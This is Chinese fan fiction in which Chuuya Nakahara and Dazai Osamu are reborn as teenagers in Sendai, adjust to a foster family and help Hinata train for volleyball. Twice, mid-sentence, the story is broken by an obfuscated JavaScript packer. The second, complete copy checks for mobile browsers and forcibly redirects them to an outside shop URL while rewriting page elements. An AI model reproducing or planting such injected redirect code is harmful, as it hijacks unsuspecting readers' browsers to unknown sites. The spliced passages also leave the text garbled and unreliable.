《事已至此还是打排球吧!》 1. 未曾设想过的现在 中原中也作为一个没上过什么正经学的mafia有志青年,并没有很受当下唯物主义思潮的洗礼。但即使是他这种不知道明天会不会死、身负异能、并且严格意义上来说是人工合成的“人”,在遇见转生这种低概率事件时,还是感觉极其魔幻。 尤其是转头看见太宰就在旁边的那一瞬间,已经不能用魔幻来形容,用惊悚更合适。 “我们被“书”从那个世界清除出去了。” “什么意思?”中原中也看着自己明显小了一圈的手和太宰治稚嫩且单纯的脸,“我们现在在天堂吗?……啧,死亡还有返老还童的功能?而且如果是我们这种人,应该去地狱才对吧?” “中也可是扶老奶奶过马路的mafia,居然对自己那么没有信心吗?也对,“扶老奶奶过马路的mafia”这个身份,本身就很恶心了啊!” 中原中也只感觉身心俱疲。 “为什么死了还要见到你,被青花鱼沾上可是会很倒霉的。” 太宰治转头看他:“没死哦,我们。” 也确实没死,据太宰含糊其辞的言论推断,他们是到了一个与他们曾经的世界平级的空间,“书”清除时产生的斥力让他们的灵魂被动地被本源吸纳——本源就是那两位名震一时的文豪,但由于距离最近的平级世界没有高级世界的反作用力,所以他们的身体和记忆被保留了下来。 换句话说,就是他俩现在彻底被原世界排除在外无家可归了。 “我们现在在宫城的仙台。”太宰道,“日期是2012年的三月二十二日,身体的年龄是十五岁,目前处于国中升高中的春假当中。” “你怎么知道得这么多?” 太宰撑着脸瞅他:“我不能指望一只蛞蝓能知道什么信息。” 中原中也没理他,大概也能猜出来就是自己“醒来”的时间比太宰晚了那么几天,这个“醒来”指的是他22岁的灵魂在这个15岁的身体里复苏的意思,照理来说太宰和他是同时被抹消的,时间差应该不会超过几秒。但太宰比他提前了那么久,总不能是书擦一半找不到橡皮了吧? “这几天我可是对着15岁的中也装了好几天呢,差点就被发现了。”太宰佯装心有余悸地拍拍胸口,“直觉系真是让人恶心啊。” “……你这种类型才是大众最避之不及的好吗?阴郁丧系无业游民。” “哎?!我明明走的是阳光开朗路线啊!” “所以你现在想怎么办?”中原中也懒得听他扯皮,不耐烦地挥挥手,“目前异能也能够正常使用,但好像退化回了我15岁的程度,也就是说短时间内想要通过制造“特异点”吸引“书”的注意是不太可能了。” 太宰仿佛很失望:“真无聊,好不容易死掉了却又被推进这里。这就算了,穿到的世界还是个这么平常的世界。” 中原中也心头一动:“这里没有异能?” “目前没有这方面迹象。”太宰打了个哈欠,“回去睡觉。” 中原中也环顾了一下四周,他在这个世界第一眼看见的地方,环形河堤,底下就是在夕阳下闪着金光的河流,倒是和太宰最喜欢跳的那条很像。 “冤家路窄啊。”他想。 “走吧,世交家的小鬼。”太宰回头催道。 中原中也只感觉太宰很不对劲,但直觉告诉他这人就是那个他无时无刻不想按在地上摩擦的太宰治,脚步顿了顿,问道:“世交?” 太宰没回答这个问题,只是盯着后面的那条河流:“这条河很适合入水呢。” “……” 好吧,确实还是太宰治。 但仍然不太一样,当中原中也的面前伸出一只手时,他惊恐之余想道,至少“太宰治”不会这么好心地想要牵着他爬上河堤。 “你今天到底犯了什么病?穿了个世界你脑子没带过来?”他拍开太宰的手,利落地撑上河堤的石墩,“你要不还是现在赶紧去死吧,好歹像你一些。” “啊?中也对我好绝情!”太宰的眼泪在眼眶里转啊转,“刚刚明明是治愈番里的经典桥段嘛,竹马之间的伸手和牵手……” “谁跟你竹马了?!我们15岁才认识吧?” “在这个世界里我们就是竹马……”太宰治说完就抱住自己的头,“啊啊啊啊不行,想想更恶心了!” “谁更恶心啊?!你不是阳光开朗吗?阳光开朗的人会说这种话?!” 太宰碎碎念道:“虽然说以前的生活也很无趣,但现在这种琐碎的日子果然更是无趣中的无趣!甚至还要被家长逼迫跟你一起……” “一起干嘛?” “一起……”太宰治擦去眼泪,“扮家家酒!” 空气凝滞了一会儿,中原中也愣了半秒:“啊……这具身体是15岁没错吧?你骗鬼呢?” “但中也信了对吧?不愧是脑容量只有一个小拇指的蛞蝓呢。” 这家伙的糟糕性格就算是死了一次还是没有任何改变,中原中也平复了一下心情:“不跟你吵这个,说说吧,我在这个世界的“人设”。” 太宰眨了眨眼,青涩的脸庞居然找不出什么伪装的痕迹,乍一看不会有人觉得内里是个22岁的漆黑灵魂:“很简单啦,名字没有变,你只要和父母正常相处就行了。” “哈?”中原中也略感荒谬,“你为什么会觉得我知道怎么和父母相处?” “唔,中也的爸爸……应该是兰堂?啊,中也把他杀掉了呢。” “这种事不用你提醒。” 太宰总算收起了戏谑的笑容,杂乱的黑发让他看起来像只无害的流浪猫:“总之,你就按照“中原中也”来生活就行了,毕竟中也的个性我是很了解的,不管是15岁还是22岁——都一样糟糕透顶。” “你才是吧,混蛋太宰。”中原中也瞪他一眼,当然,因为白嫩的脸颊肉,瞪的时候并没有什么威慑力,“那你是什么情况?现在的局势如果这么平和,我们需要合作还是分道扬镳?” 太宰知道中也是认真的,耸了耸肩:“我也想就这么各不相见,但可惜的是,如果我们还想回去,就非得待在一起不可。” 中原了然:“你的异能还没恢复?” “是哦,所以想创造特异点,就必须每天找时间拉拉手试试啦。” 说完两人都起了一身鸡皮疙瘩,中原中也强忍住呕吐的欲望,努力和太宰治保持一米距离,然后又想起来自己不知道现在住哪,只能没好气地在原地等了会儿:“你走不走?” 太宰治得意地走到了他前面。 夕阳的温度仍有余热,中原中也这才有时间来环顾这个世界:“这里的人没有异能……书居然会把我们丢来这种地方。” “是哦,对中也来说,碾碎这里的武装比杀死一只蚂蚁还要简单吧。” “别把我说得那么残暴。” 中原中也扭头看太宰治的侧影,确实是对方十五岁的身形,和自己相差无几的身高,浓密卷曲的黑发——以及似乎得益于这个世界家庭关系的和谐和长辈的管制,裸露在外的右半张脸。 好阳光好恶心,中原在心里嫌弃道。 道路渐渐开阔,城镇的模样映入眼帘,路旁的鲫鱼饼店老板看见两人走来,扬起嗓门招呼:“阿治!中也!来试试新口味吗?” 中原中也毛骨悚然地看过去:“她刚刚叫你什么?” “……”太宰治没有理睬他,朝老板露出阳光的健齿笑:“早苗阿姨晚上好!家里做饭了,我们就不偷吃啦!” “好吧,那路上小心!”早苗玲子笑着摆摆手。 一直走到看不见鲫鱼饼店的地方,中原中也才再次开口:“你实话告诉我,我们的人设到底是什么情况?” “如你所见,”太宰治一副被人麻烦到的不耐神色,“是一对竹马竹马一起长大跟连体婴一样的阳光dk。” 在中原中也近十年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“中也你好无趣。” “没有你变态。” 太宰面露无辜之色,最后笑了笑,把头往外探去朝美津纪招手,中原阻止不及,只见美津纪快步朝他们走来,蓝色的眼睛盯着中原中也瞧:“怎么这么晚才回来?晚饭已经煮好了,阿治你也来。” 中原中也被突然凑近的和自己有八分相似的脸惊到了一瞬间,如出一辙的钴蓝色瞳孔倒映出夕阳下烈火般的赭发,他不自然地退后两步,却靠上了一个单薄的胸膛,太宰治朗声回应道:“都是因为中也路上嘴馋想吃鲫鱼饼了。” 美津纪了然地皱眉,却只是轻轻地捏了一把中原的脸颊:“别给早苗太太添麻烦。” “哦,嗯。” 被母亲拎回家的感受很新奇,对方和“中原中也”的熟稔超乎他的意料,人无法想象出自己没见过的东西,说到拥有父母的感觉,中原只能回忆起在尾崎红叶手下训练的那几年,和现下的情况大相径庭。他被太宰摁在餐厅的桌子前,跟着对方双手合十,在温暖的灯光下说“我要开动了”,然后吃起刚出锅的咖喱蛋包饭。 在此之前,美津纪在他身后想取下他的外衣,中原差点没有控制住本能反应一腿鞭上去,最后也还是看着美津纪一边嘀咕“衣服又小了”,一边给他们倒水。 即使是刚进入港口□□的那段时间,中原中也也没有经历过生活上的照顾,训练回去洗个澡倒头就睡,披星戴月,吃饭都是囫囵过去的,红叶顶多只是提醒一下他要注意休息,其余的也由他去,不然也养不出中原中也烟酒都沾的恶劣习性。 趁着美津纪进厨房的空档,太宰附身过来而耳语道:“怎么样?可怜的小羊羔有体会到母亲的温暖吗?” 中原被他这句话恶心出了一身鸡皮疙瘩:“闭嘴。” “我还以为中也当场就会感动得落泪呢。” 自己确实感性,但也没有这么没出息。中原中也瞅瞅一脸看热闹表情的太宰治:“你呢?” “我可不会柔软到扶老奶奶过马路。” “我是说你在这个世界的父母,既然是世交,肯定有长辈吧?” “蛞蝓的脑容量果然只有一个小拇指,”太宰治叹了口气,摇摇头,“这么明显的事情都没看出来,很显然——我是被你们家收养的小可怜啊!” 2. 未曾设想过的未来 直到和太宰站在同一个卧室的门口,中原中也还是无法接受这个事实。美津纪只觉得今晚的中原中也沉默得过分,担忧地问太宰治他今天怎么了,被太宰治用几句话掩盖过去,卧室门关上隔绝开两个世界,他转身朝坐在床上的中原冷声道:“中也,太明显的话会被怀疑哦。” “......给我一些时间。”中原按按有些突突跳的太阳穴,“明天我会调整过来的。” 太宰立刻换了一副面孔,他笑着凑过来在床边坐下,中原中也看到他就心梗,这人从他十五岁开始就和幽灵一样阴魂不散,就连到了另一个世界也没办法摆脱,现在甚至得睡同一张上下铺。 记忆蓦的闪回,那场大战把横滨毁得不成样子,自己释放荒霸吐后力竭倒地,死前刚好得到了太宰治确认身亡的消息,心中不知是解脱还是不忿,甚至有所怀疑,那样一个智多近妖的人,是否真的有人可以杀死他。 所有人都说中原中也了解太宰治,只有中原中也自己知道,这根本就是天方夜谭——世上哪有人敢说了解太宰治。 他看向太宰治的眼睛,黑洞洞的眼珠如同斑驳的掺了杂质的黑曜石。太宰坦然地接受他的打量,戏谑道:“别看了,我可不喜欢男人的眼神。” “滚。” 太宰治当然不会如他所愿,指指上铺:“你才是睡上面的。” 言下之意是要滚也是你滚。 中原深吸一口气,觉得对方的心智仿佛也回到了斤斤计较的十五岁,最后决定大人有大量不和小孩计较,一踩楼梯就到了上铺。余光往下看去,只见太宰仔仔细细地戴上一顶海绵宝宝睡帽,身上还穿着派大星睡衣,顿时胃里一阵恶寒:“你确定十五岁是这样的吗?” “天真啊烂漫啊,怎么了?其实中也的衣柜里也有一套哦。”太宰眨眨眼,“不过是米老鼠的,要我拿出来给你——” “关灯。”中原咬着牙,”睡觉。” 太宰哼着小曲把灯关上,他似乎心情很不错,中原能想象到为什么,这个没有异能的世界某种意义上符合太宰的期待。 但自己必须回港口mafia,哪怕只有一丝的可能性。躺在全然陌生的床上,中原中也在心里这么想道,扭头就靠上了一个巨大的米奇公仔,他顿了顿,想起太宰刚刚提到的睡衣。 毋庸置疑,这个世界的中原中也有着完整且美好的少年时代,有美津纪,有知己,还有余裕喜欢一个动画角色。 “果然不是大人该占据的位置啊。”中原中也小声嘟囔道,又想起下铺还有人,立刻噤声。但太宰治一如既往地和他唱起反调,发出嘲弄的笑声:“中也是对这里的中也产生愧疚了吗?” “……难道不应该吗?”中原道,“我死了,然后我到这里占据他的身体,完全没有经过他的同意,是个人都会愧疚吧?” “啧,所以说人类就是麻烦。” “你又开始了。” “辜负个体的意愿,诞生没有决策能力的新生命,你的诞生同样没有经过同意,然后呢?愧疚的意义是什么?”太宰治打了个哈欠,”无聊透顶。” “那你呢,太宰?我不相信你没有愧疚过。” 太宰仿佛知道他要说什么一般,不满地翻了个身。中原中也没有理会,继续说道,“我之前一直觉得无能的人才会愧疚。” “那是因为你满脑袋都是肌肉暴力。” “你脑袋里没有肌肉,照样挽回不了事情的发生,但你本可以挽回的。”中原中也看着漆黑的天花板,把到嘴边的那个名字咽了回去。 太宰没有再说话,中原也闭上眼睛,迎接新世界的第一个黑夜。 早晨,中原美津纪做了一些糕点让他们带去球场吃,中原中也满头问号地看向太宰治,收获了太宰治幼稚的鬼脸,知道对方还在记仇,中原果断抛弃向太宰寻求答案,而是拿出自己的手机,2012年手机页面很简单,中原中也很轻易地找到了自己想要的短信。 【泉】:明天还是在县里的球场,早点来,不然场地就被那群打篮球的抢了!不过你别带阿治。 【泉】:翔阳前天看见他球都颠不稳,如果一定要带他来的话,可以别让他说话吗? 中原中也拧着眉头反复阅读良久,最后重新看向太宰:“打球?什么球?” 太宰从房间里拿出一个球包丢给中原,中原拉开拉链一看,里面是个蓝黄相间的排球,没什么痕迹,显然刚买没多久。中原中也大感不妙地把包背上,一边问道:“这个世界的我很爱打排球吗?” 太宰治看出了他脸上的匪夷所思,心情总算阴转多云。他灵活地从中原中也身边溜出门去,被中原中也扯了回来:“先把情况说清楚,你骂人家小孩了?” “我可什么都没说,只是站在旁边看而已。”太宰大呼冤枉,无辜的眼睛眨啊眨,“而且是中也拖着我去的!罪魁祸首是中也啊!” “别想骗我,那个泉明显介意的是你啊混账!” “别晃了……要吐了……哕!” 松开拽着太宰领子的手,考虑到自己不知道路在哪,中原中也还是默认了太宰的跟随。太宰摸摸刚才被吊起来的脖子,揶揄道:“中也为什么不回消息拒掉呢?应付小孩很麻烦的。” 中原中也停下脚步,他一直忽略了可以拒绝的这个选项,但最后还是说:“你说了,不可以和往常差别太大,会被怀疑的。” “明明是同情心泛滥吧,“想好好维持小孩子的正常生活这样以后自己回□□了小孩也能开心地生活下去”——诸如此类的想法,噫,蛞蝓果然黏糊糊的好恶心。” 中原中也瞪他一眼,没反驳,算是默认了太宰的说法,漫不经心地道:“这球很新,应该没买多久,家里也没有其他和排球有关系的东西,我猜他应该是这个春假才开始接触排球的吧?” 太宰耸耸肩,不置可否。中原中也好笑地反问:“你呢?你跟上来是干什么?看我打排球?敢拍照我就揍你。” “我才不要被中也揍死,太难看了。”太宰摇头,”中也有想过如今有异能的你去打排球是什么效果吗?” “我不用异能。” “是吗?”太宰治笑笑,“那走吧。” 中原狐疑地看了他一眼,背起包抬脚,在太宰身后亦步亦趋地跟随,两人保持着微妙的距离,直到—— “阿治!中也!”早苗玲子在鲫鱼饼店里诧异地喊他们,“哎!吵架了吗?” 太宰在前方发出一声笑音,中原喉头一梗,无奈地加快脚步。 最后两人站在了一个综合球场外,中原难得有点无措,头轻轻一偏躲过一颗飞来的球,运动少年们喊着“抱歉抱歉”冲过他身侧把球捡回去。中原无奈地叹气:“这也太多人了。” “公共球场就是这样,现在又是学生最多的春假。” “在这里能练什么……” “中原!” 中原中也扭头,一个少年在不远处朝他们招手,他不明所以地走过去,名为泉的少年在看见太宰后愣了一下,还是没说什么,只是把中原中也拉到球场旁边的绿荫地:“记得今天别让阿治开口!” 中原中也低头瞟了一眼少年抱着的排球上的名字:泉行高。 “行,他今天不说话。”中原中也环顾了一下四周,皱皱眉头,“在这里打球吗?” 这地方确实没什么人,但脚下都是不坚实的沙地,只有一堵墙和几棵树能称得上掩体,没有球网和底线,显然不是练球的好地方,甚至称得上简陋。 泉行高尴尬地摆摆手:“没办法,抢不过球场上的人,而且翔阳现在还不太能正式打球,也用不着球网……” “翔阳?” “我去喊他过来!今天就拜托中原你了!” 少年飞快地跑掉,中原中也一头雾水地看向太宰,太宰一副事不关己的样子,蹲在阴影处假寐,中原中也忍无可忍地上去踢他一脚:“喂!把事情说清楚!怎么就拜托我了?” 太宰治眨眨眼,中原中也头上爆出青筋,咬牙切齿:“你可以开口说话。” “中也真是善变。” “别逼我在这里揍你。” “那个泉是我们的小学同学啦,日向翔阳是泉的国中好友,特别喜欢打排球,但一直没有系统学过,前不久比赛被对面剃了个光头,输得很难看。”太宰嘀嘀咕咕,“都怪中也太四肢发达了,泉就拜托你来帮日向做训练,中也满口答应了来着,我拉都拉不住。” 中原中也被最后一句话噎了一下,太宰眯起眼:“不过也确实是中也的作风呢,被别人恳求几下就帮忙,完全爱心溢出啊!” “你说话我头疼,可以闭嘴吗?” “不要,我凭什么听你的。” “那你刚刚装哑巴的时候为什么那么听话啊!” “额,中原?”泉行高在他身后发出不知所措的声音,“你和阿治吵架了?” “……没有。”中原道。 所以这个世界的他们原来到底有多黏糊?拌几句嘴就是吵架吗? 他回头,就看见一个和自己齐平的橘色脑袋,名为日向翔阳的少年抱着排球,眼睛亮亮地挺直腰背,如同一棵疯长的青松,中原中也感受到了一股无法抵抗的热情能量,忍住后退的冲动,颔首打招呼:“你好,日向。” “你好!中原前辈!” 中原中也顿了顿:“不用喊前辈,我们是同级生。” “好的,中原前辈!” 中原中也仿佛看见了一个狗啃刘海白毛的故人是影子,大感不妙。余光瞥见憋笑憋得辛苦的太宰治,拳头发痒,但在两个外人面前不好发作,最后还是应下了这个称呼:“之前我带你练了什么?” 日向呆呆地答:“前辈让我跑圈还有跳跃。” 其实中原中也已经大概能猜到,这个世界的自己应该在运动方面很出彩,昨天在他观察到中原家壁橱里有两三列的奖牌和奖杯,一眼扫过去,从游泳到跨栏都有,但没看见排球相关的奖项。所以日向向他讨教的一定不是技术相关的问题,而是体能,甚至于身体的掌控力。 “今天给我看看摸高。”中原道。 泉行高在旁边抱球看着好友原地拉伸做准备的样子,跃跃欲试,太宰治撩起眼皮,懒懒地拍拍屁股起身:“泉,我先离开一会儿。” “哎?去哪里?不用跟中原说一声吗?” “嗯,没事,他知道。” 中原中也的目光一扫而过,太宰治像幽灵一样飘走了,中原皱紧眉头,心里有点不好的预感,他朝日向点点头,日向紧张地深吸一口气——分明中原中也只是同级生,他却莫名感到如山的压力,面前相貌俊美的混血少年神态认真,从泉行高口中也得到过对方“性格一丝不苟”的评价。想到这里,日向只觉得小腿肚有点发颤,万幸场边没看见那抹能把他心态搞崩的黑色影子,便定下心神。 “哗啦——” 仿佛是蝴蝶振翅的声音,中原的瞳孔中倒映出一轮橘色的太阳,在空中升高,停滞,最后灵巧地坠落。 中原中也瞪大了眼睛,转头看向一脸骄傲的泉行高:“他摸高有3米吧?” 几乎是跳了一个日向自己的身高,这个数据即使放在体术高手如云的港口mafia,那也是相当惊人的,中原中也自认没办法在未经任何训练和异能辅助的情况下随便跳到3米高空,他上前去看日向的跟腱,难 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日向眼睛眨也不眨地盯着,中原受用于他的认真,语气也更加和缓,他回忆了一下曾经学过的体术的基础动作,做出一个垫步:“这个基本动作,你知道吗?在羽毛球和排球应该经常会看见。” 抬头就看见了日向眼睛里一水的茫然还有泉行高的赔笑,中原中也突然明白了为什么日向的天赋会埋没至此。 “要多看书啊翔阳。”泉行高无奈地开口解释,“垫步是球类运动中的常用步法,包括并步,滑步,交叉步等,是所有移动的基础。” 有泉行高的理论知识作背书,中原中也继续补充:“你的跳跃很强,但衔接很弱,动作与动作之间很松散,你之前应该没有完整地打过几场比赛,练习都是碎片化的,吸收的经验在脑子里没办法形成网络——” “在这种情况下,你的跳跃能力就像是没开刃的剑,所有进攻都是无效的。” 日向的头随着他的话越来越低,中原中也都能感受到他身上散发出的绝望味道,正当他觉得自己会不会话说太重时,日向倏地抬头,棕色的眼睛亮亮地盯着中原中也,看不见一点被打击的影子。 “怎么才能进步呢?” 啊,是个很坚韧的孩子。中原的眉眼柔和了下来,缓缓道:“腰腹力量,腰腹是四肢的中枢,你如果想要进步的话,为了你的基本功,每天大概练这个数——” 泉行高举手:“中原你可以晚上用手机把训练计划发给我!我监督翔阳!” “行。”中原中也接受了这个提议,“但我先说好,我不怎么了解排球,所有训练的目标都是身体强化,其余的技术你们不能指望我了。” 泉行高和日向早就知道这件事,此时点头如捣蒜。中原中也和他们达成共识,心里轻松了些,目光在旁边扫视了一圈,太宰依旧没有回来,中原中也微不可查地咬咬牙,回头对日向说道:“来吧,我陪你练垫球。” 虽说不喜欢球类运动,但之前在□□有下属很喜欢打排球,他偶尔也会跟着去打几场,后面因为体能太过作弊被按上板凳。想起好友们的面容,中原中也的眼神暗了下来,呼出一口浊气,把球抛起来。 不能用异能。他在心里对自己说。 “污浊了的忧伤之中”,如同他的第三只手一样的存在,自从醒来之后,中原能感觉到那股暴虐的力量仿佛被这个世界干净的空气束缚了一般,埋进身体深处。只有很少的时候,它会懒洋洋地翻个身强调一下自己的存在感,已经不像曾经那般被中原中也如臂使指了。中原大概也能猜到是世界意识搞的鬼,不知道这算好事还是坏事,但这样确实减少了他暴露的概率,便不再纠结。 直到这一瞬间。 中原中也看见球在被抛起时浮上了一层微弱的红光,他瞳孔骤缩,却已阻止不及,那颗球如同沸腾的陨石一般砸向几米外的地面,扬起一阵沙尘,发出震耳欲聋的撞击声。 三个人盯着地上那颗已经被强压挤扁的球沉默了好一会儿,还是中原中也把球从陷进的地面拔出来,泉行高嘴角抽了抽:“你的力气也太大了吧……” 日向把快要掉下来的下巴安回去,眼里闪烁着震撼的光芒:“如果按照前辈的方式练习,我的力量也可以变成这样吗?” “不不不……翔阳你倒也没必要……”泉行高把日向刚刚萌芽的肌肉大猩猩梦想镇压回去,一边对中原中也投以钦佩的目光,“中原你看着瘦,没想到这么有力气,不会还练过举重项目吧?” “不……” 是异能失控了。中原中也看着自己光洁的手掌,眼神晦暗难明。 “当然没有啦,中也只是一只天生怪力的小蛞蝓而已!”许久没有出现的太宰这时候突然插进他们中间,手熟稔地搭在了中原中也肩上。中原中也惊了一下,嫌弃地别开脸:“你刚刚去哪了?” “怕吓到小橘子,在附近随便逛逛,哎对了,泉,我刚想起来今天有限时贩售的游戏卡带,你知道的中也最喜欢打游戏了。” “你乱说什——” “总之呢,今天的训练要提前终止了。”太宰治的脸色依旧阳光灿烂,仿佛真的在认真和他们商量,漆黑的眼睛转向日向,“之后再见吧,日向同学。” “啊……”日向打了个寒战,“好的。” 太没出息了!泉行高汗颜,中原中也明白太宰治估计有事要和他说,便顺坡下驴:“确实是有一个卡带很想要,那就后天再见吧,日向同学。” “哎!中原前辈还愿意继续帮我吗!” “嗯。”中原中也认真地点头。 和日向约好了后天下午再在这见面,中原中也就和太宰治离开了。 3. 无归 和太宰治从球场后出来,中原中也才找到空隙开口:“怎么回事?” “你指什么?” “当然是我的异能。”中原中也瞪他,“你早就料到了吧?到底什么情况?” “中也真是相信我呢,其实我也只比你早醒来几天而已。” “……切。” 太宰治却一反常态地笑得很温和,受用于中原中也的信任,他一把拉住中原的手腕,中原中也被他带得一个踉跄,两人跌跌撞撞地跑到售卖店门口,中原惊道:“你真要买那什么游戏卡带?拜托……这里的游戏应该都是十年前的老游戏了。” “哎,我明明记得中也当年玩的很开心,毕竟一把都没赢过我。” “混蛋!有本事你别在我的手柄上做手脚啊!” 到最后还是买了一盘卡带,中原中也掏腰包付钱的时候太宰治在一旁做鬼脸,中原中也感觉自己在这个和平世界休养生息的神经又开始被太宰挑衅,把卡带狠狠按进太宰治怀里:“这下能说了吗?” 太宰治从店里走出来,迎着正午的太阳打了个大哈欠,嘟囔道:“其实没什么,就是异能开始融合了而已,理所应当,毕竟这本来就不应该是存在于此世的东西。” “融合?” 中原中也思考了一会儿,他脑子没太宰治好使,但也算得上聪明,没多久就得出答案:“ “人间失格”和“污浊”会融合?不会产生特异点吗?” “照理来说是会的,但这个世界的规则不可能允许特异点的出现,那么特异点就会以另一个方式诞生。”太宰治的表情变成有些刻意的嫌恶,“比如,一定距离内的互相抵消。” 太宰提起刚刚离去的那十五分钟,当两个人的异能距离过远时,“污浊”就会开始脱离控制,反之,如这两天,在两个人形影不离的状态下,污浊反而存在感微弱,甚至于更像是把太宰治随身携带了一般,即使没有刻意束缚,异能也起不到任何效果。 中原中也理解了现状,感觉事情变得棘手不少:“难怪我觉得这段时间“它”安静得过分,原来是“人间失格”和我距离太近所以抵消掉了。但这样一来,我们不是就不可能……” “嗯哼,我们回不去了。” 中原中也看向太宰治,对方很自然地朝他摊开手,一脸无所谓地道:“事情就是这样,中也即使像小狗狗一样看着我,我也没办法呀。” “……闭嘴。” 中原中也停下脚步,手摸遍了口袋,却没有找到想找到的烟盒,这才想起自己现在还是未成年,只好把手仓促地插进口袋:“帮我跟她说一声,我自己走走。” “她?”太宰治对他的心情心知肚明,但他一向不安慰任何人,只是眯起眼探究道,“中也最好赶紧把称呼改过来哦,美津纪是个很敏锐的人呢。” “知道了,滚吧青花鱼。” “一个小时。”太宰治道,“我们不能分开太久,后果你知道的——不过如果你想把仙台炸掉的话,我也没意见。” 说完太宰治就干脆利落地走了,一点也没有考虑过中原中也认不认识回中原宅的路。中原中也开始漫无目的地在市郊逛起来,他不知道自己现在是个什么心情——不甘,遗憾,愤怒,或者皆有。 挺无理取闹的,已经死的透透的人,居然还抱有着回去的幻想,太宰治在心里估计已经笑掉大牙了。中原中也不禁唾弃自己,死了一回怎么还变扭捏起来,他脚步顿了顿,走进一个便利店,在烟架前站定一会儿,最后拿了一颗棒棒糖。 二十分钟后,他回到中原宅,进门就看见正在吃午饭的太宰治。太宰治对他的提早归家没有发表任何言论,只是用眼神表达出对中原的嘲弄,嘴里快乐地吃着咖喱蛋包饭——一如既往的特辣版本。中原美津纪在一旁担忧地看着他:“中也你快过来吃饭,话说阿治,这么辣真的没关系吗?” “您的手艺很好,当然没问题。” 他在这个世界混的倒是如鱼得水,不,中原中也心说,只要太宰治想的话,在哪里都能若无其事吧。 ……也不是若无其事,感觉太宰治再不喝水会辣晕过去,不是说好了保持一下人设吗?果然不管哪个世界的太宰治都是毒瘤一样的存在。 中原中也没好气地去给他倒了一杯水,太宰治慌忙喝了一口,被烫的差点跳起来,大着舌头道:“中也想谋杀我!” “别污蔑我,你手都摸到是热水了还喝,明明是自作自受!” 美津纪在旁边看着他们两个打闹,中原中也忽的想起来,这个世界的他们应该不是这种相处模式,刚要和太宰治紧急休战,美津纪却噗呲一声笑出来。 “什么嘛,中也这两天那么稳重,还以为终于长大了,结果还是小孩子嘛。”美津纪捏捏他的脸。 太宰治闻言差点没笑的把饭喷出来,他欣赏了好一会儿中原中也被五雷轰顶一般的表情,拿出手机把这副盛景拍下,后果就是被愤怒的中原中也在桌子底下狠狠踩脚。 战争最终结束于美津纪让两人猜拳谁去洗碗,最后中原中也落败,被太宰治幸灾乐祸地撵进厨房。 “怎么样?有长辈看着的日子?”太宰治笑得像狐狸一般不怀好意,“感觉中也不是很能够得到洗手台,需不需要踩个凳子?” 中原中也不懂这个现在和自己一般高的混账在睁眼说什么瞎话,他冷笑一声:“你别得意,外面还有地等着你拖呢。” 中原美津纪似乎信奉的是一碗水端平教育方针,即使太宰治在剪刀石头布上大获全胜,美津纪依旧给他派发了拖地的任务。太宰治闻言总算闭上嘴,没过多久,又开口抱怨道:“所以我才讨厌所有的“长辈”啊。” “你是特指首领吧。” 被一语道破含沙射影的心思,太宰治没有丝毫的尴尬,反而顺杆子往上爬:“中也真的不觉得那种喜欢幼女的老男人很变态吗?想想就起鸡皮疙瘩!中也居然能在那种人手底下干那么久,难道中也也是变态吗?” “我对首领的私生活不做评价,我认同的是他的理念,你别混淆公事和私事。” “有什么分别,mafia ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536186|203819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首领的私事就是公事啊。” “强词夺理。” “我说啊,中也。”太宰治嗤笑一声,“到现在还在把自己当mafia看的话,暴露的概率是百分之两百哦。” 中原中也把最后一个碗放进橱柜,只赏给太宰治一个高贵的后脑勺:“不用你提醒。” 做完家务后回到房间,就开始了手柄争夺战,中原中也诧异于太宰治这个22岁的人怎么可以对15岁的心理状态适应得如此良好:“你幼不幼稚?卡带是我掏钱买的,当然我先玩。” “中也这句话也没好到哪去!” “啧,你要不要点脸?” “中也要不看看自己的存款呢?”太宰治幸灾乐祸地道,“你现在已经不是能随便买下一瓶柏图斯的mafia了!一个游戏卡带对高中生来说可不便宜,离下次美津纪发生活费还有很久哦,中也居然不好好巴结一下有钱的我!” “你有钱是因为你一直在花我的钱!”话是这么说,中原中也却回忆起了钱包里确实寥寥无几的几个硬币,但他也不是没过过苦日子,充其量只是会不太适应而已。 从太宰所说的和卧室里随处可见的迪士尼周边来看,美津纪从未短过两人的物质生活,中原中也很感激她,省点钱总是好的。 “话说,美津……妈妈,她是离异?” “啊。”太宰治眨眨眼,“不是哦,你父亲和我的监护人都是滑雪运动员,五年前死于一场雪灾。” 中原中也捏着手柄的手一瞬间松开,被太宰得逞地夺走,他也不再去争抢,只是皱着眉头继续问:“意外?” “又不是什么侦探小说,对于滑雪运动来说,这种意外也不少见,你如果真想知道的话自己去问美津纪。不过她应该会摇晃你的脑袋大呼中也你怎么失忆了。” “……那还是算了。” “不过保险公司给了挺大一笔钱,足够我们正常生活很久。”太宰治把游戏卡带打开放进主机,“美津纪作为家属应该也有心理准备,你看她像沉浸在丧夫之痛中的样子吗?” 中原美津纪看上去确实开朗且乐观,虽然不排除她只是没有把情绪写在脸上这个可能,但连对人心的洞察力像妖怪一样的太宰治都没发现端倪,那应当就是真的没什么问题。 就这样断断续续地过了一周,期间中原中也和日向一起训练了三次,日向也没有辜负他的期望,认真执行中原中也给他的训练计划,虽说因为时间太短没有很显著的效果,但据日向自己所说—— “以前跳起来是“砰!”的一下,现在跳起来是“唰!”的一下,然后再“唰”的一下。” 中原中也挑挑眉:“是能停在空中一会儿的意思吗?” 小橘子疯狂点头如同小鸡啄米,泉行高叹为观止,连后来才加入的关向幸治也笑道:“中原你居然能听懂翔阳的拟声词,我每次都得靠猜。” 中原中也想起太宰治那个“直觉系help直觉系”的说法,被恶心到了一下,但却也不得不承认,自己和日向的相性真的挺好的。 4. 瓦解 早苗玲子把店铺的帘子掀开,熟练地将头发扎起,眼前是暮春的尾巴,风穿过县城的街道,又乘着电车流过山川,早苗玲子满意地吸进一口饱含鲫鱼饼香气的空气,这一天才算正式开始。 “我要三个红豆馅,麻烦了!” 